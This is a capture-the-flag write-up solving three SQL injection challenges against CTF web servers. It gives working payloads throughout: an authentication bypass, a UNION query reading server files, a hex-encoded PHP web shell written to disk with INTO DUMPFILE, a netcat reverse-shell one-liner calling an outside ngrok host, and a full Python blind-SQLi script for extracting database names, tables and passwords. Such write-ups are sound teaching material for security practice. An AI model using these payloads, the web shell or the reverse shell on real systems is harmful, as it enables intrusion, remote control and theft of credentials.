SQLi 1
Here, we are tasked to perform SQL injections. An IPS is configured, this means that we can’t use tools like SQLMap
because we would be blocked. We can see, that we are facing a login page. In CTF environment, the first thing that comes to your mind when you see a login page (after trying default credentials) is to perform an SQLi to bypass the authentication process. Using the payload admin' OR True -- -
will result in a SQL
query looking like: Select * From Users where username='admin' OR True -- - AND password='a'
As you can see, we are looking for the username admin
but we use a True
statement. The username='admin' OR True
will result in a True
statement. This will authenticate us as the first user in the database that is often the admin.
Note the use of
-- -
, this allows us to comment the rest of the query. Thanks to that, we can bypass the need of the password.
And voilà, we are authenticated as admin
and we have the flag:
SQLi 2
Here we need to perform a more difficult SQLi
. We first need to search for the vulnerable parameter. Here it is id
:
We will try a UNION based SQLi
. First we need to know how much columns are used in the SQL
query. To do that we can simply use a payload like UNION SELECT NULL -- -
then if there is no page printed out, we use the payload UNION SELECT NULL,NULL -- -
and so on until we have a page that we can see:
As we can see from our UNION based SQLi
, we know that there are 4 rows in the query. We can now use this to read file like in the LFI 2
challenge:
http://ctf.insa-cvl.fr:1003/post.php?id=-1%20UNION%20SELECT%20NULL,to_base64(load_file(%22/var/www/html/index.php%22)),NULL,NULL%20--%20-
This payload gives us a base64
string of the content of index.php
source code. We can decode it and we get:
There is no flag here. But we notice a file called db_config.php
. Lets check this file:
And voilà… We get the username and password for the database and the flag.
SQLI 3
Now this challenge is a bit harder than the previous one because we need to upload
a shell to the machine. It can be a reverse or web shell, it doesn’t matter. As we can see, when we enter a string we get the exact syntax of the SQL
query:
We will use the following payload to write into the css
folder (the only one where we have rights) in the bipbip.php
file.
' union select NULL, 0x3c3f7068700a20202020696628697373657428245f4745545b27636d64275d29202626204d443528245f4745545b2770617373275d29203d3d2022636136333537343336306235303061626133336333356163393334333535663122290a202020207b0a202020202020202073797374656d28245f4745545b27636d64275d293b0a202020207d0a3f3e0a into dumpfile '/var/www/html/css/bipbip.php' #
The content of the hexadecimal string it the following:
1
2
3
4
5
6
<?php
if(isset($_GET['cmd']) && MD5($_GET['pass']) == "ca63574360b500aba33c35ac934355f1")
{
system($_GET['cmd']);
}
?>
Note the use of the hex string instead of putting the plain
PHP
code. This is because sometimes you will get errors because some characters can be removed for exemple.
Note the use of a password. This is a good practice because you don’t want other teams to be able to use you shell and in a more realist environment you don’t want hackers to be able to use the tools that you are using in your pentest to exploit the company you are assessing.
Now we can just call our file and specify the command and the password:
We want a reverse shell on the machine, I used this one:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4.tcp.eu.ngrok.io 14433 >/tmp/f
Note that if you copy/paste this payload in your cmd
parameter it won’t work. You will have to URL Encode
it first (and change the IP and port by your values ;) ) .
I already set up a listener using nc -lvnp 4444
and a ngrok
to be able to be accessible by the server (ngrok tcp 4444
).
Here we are using
ngrok
because we are not on the same network as the machine we are trying to hack. In CTF likeTry Hack Me
we don’t needngrok
and can simply usenc -lvnp 4444
because we will have an IP on the same network.
As you can see, I got a shell and I beautified it:
Now we can access the full database by simply connecting to mysql
using default credentials. Those credentials can be found in the PHP
source code of the web pages:
mysql -u root -proot
Now we can list databases, list tables inside the loginsqli
and show all the values in the users
table:
We now have the password of bob
(superbob
) that is the flag to validate the challenge.
Here is a python code that will use an blind/error based SQLi. It performs a dichotomy to retrieve character by character the name of the database, the name of the tables, the name of the columns and the values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import time
import string
from math import ceil, floor
url_base = "http://ctf.insa-cvl.fr:1009/"
alphabet = r"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
timing = 1
results = []
offset = 0
while 1:
candidats = [""]
while candidats:
#print(candidats)
candidat = candidats.pop(0)
index = len(candidat) + 1
#print("My candidat:",candidat, "Len candidat:", index)
print(candidat)
start = 0
end = 127
found = 0
old_candidat = candidat
while 1:
mid = floor((start + end) // 2)
#print(start, mid, end)
time.sleep(0.05)
#payload = f"1; select case when ascii(substring(version(), {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end-- -"
#payload = f"1; select case when ascii(substring(datname, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from pg_database limit 1;-- -"
#payload = f"1; select case when ascii(substring(table_name, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from information_schema.tables limit 1;-- -"
#payload = f"1; select case when ascii(substring(column_name, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from information_schema.columns limit 1 offset {offset};-- -"
#payload = f"1; select case when ascii(substring(password, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from users limit 1 offset {offset};-- -"
#payload = f"admin' and ascii(MID(version(), {index}, 1))>={mid}-- -"
#payload = f"admin' and ascii(MID(database(), {index}, 1))>={mid}-- -"
#payload = f"admin' and ascii(MID((select group_concat(table_name) from information_schema.tables where table_schema=database()), {index}, 1))>={mid}-- -"
#payload = f"admin' and ascii(MID((select group_concat(column_name) from information_schema.columns where table_name='users'), {index}, 1))>={mid}-- -"
#payload = f"admin' and ascii(MID((select username from users limit {offset},1), {index}, 1))>={mid}-- -"
#payload = f"admin' and ascii(MID((select description from users limit {offset},1), {index}, 1))>={mid}-- -"
payload = f"admin' and ascii(MID((select fname from users limit {offset},1), {index}, 1))>={mid}-- -"
#(select if((ascii(MID(@@version,{index},1)))>={mid}, sleep({timing}, 0)))--
#' or (select if(MID(@@version,{index},1))>={mid}, sleep({timing}), 0)-- -
#print(payload)
url_final = url_base
data = {
"username": payload
}
#start_time = time.time()
response = requests.post(url_final, data=data)
#print(response.text)
#delta = time.time() - start_time
#print(delta)
if "demande" in response.text:
if mid == start:
#print(chr(mid))
char = chr(mid)
if char != '\x00':
candidats.append(candidat + char)
else:
results.append(candidat)
break
else:
start = mid
else:
end = mid
offset += 1
print(results)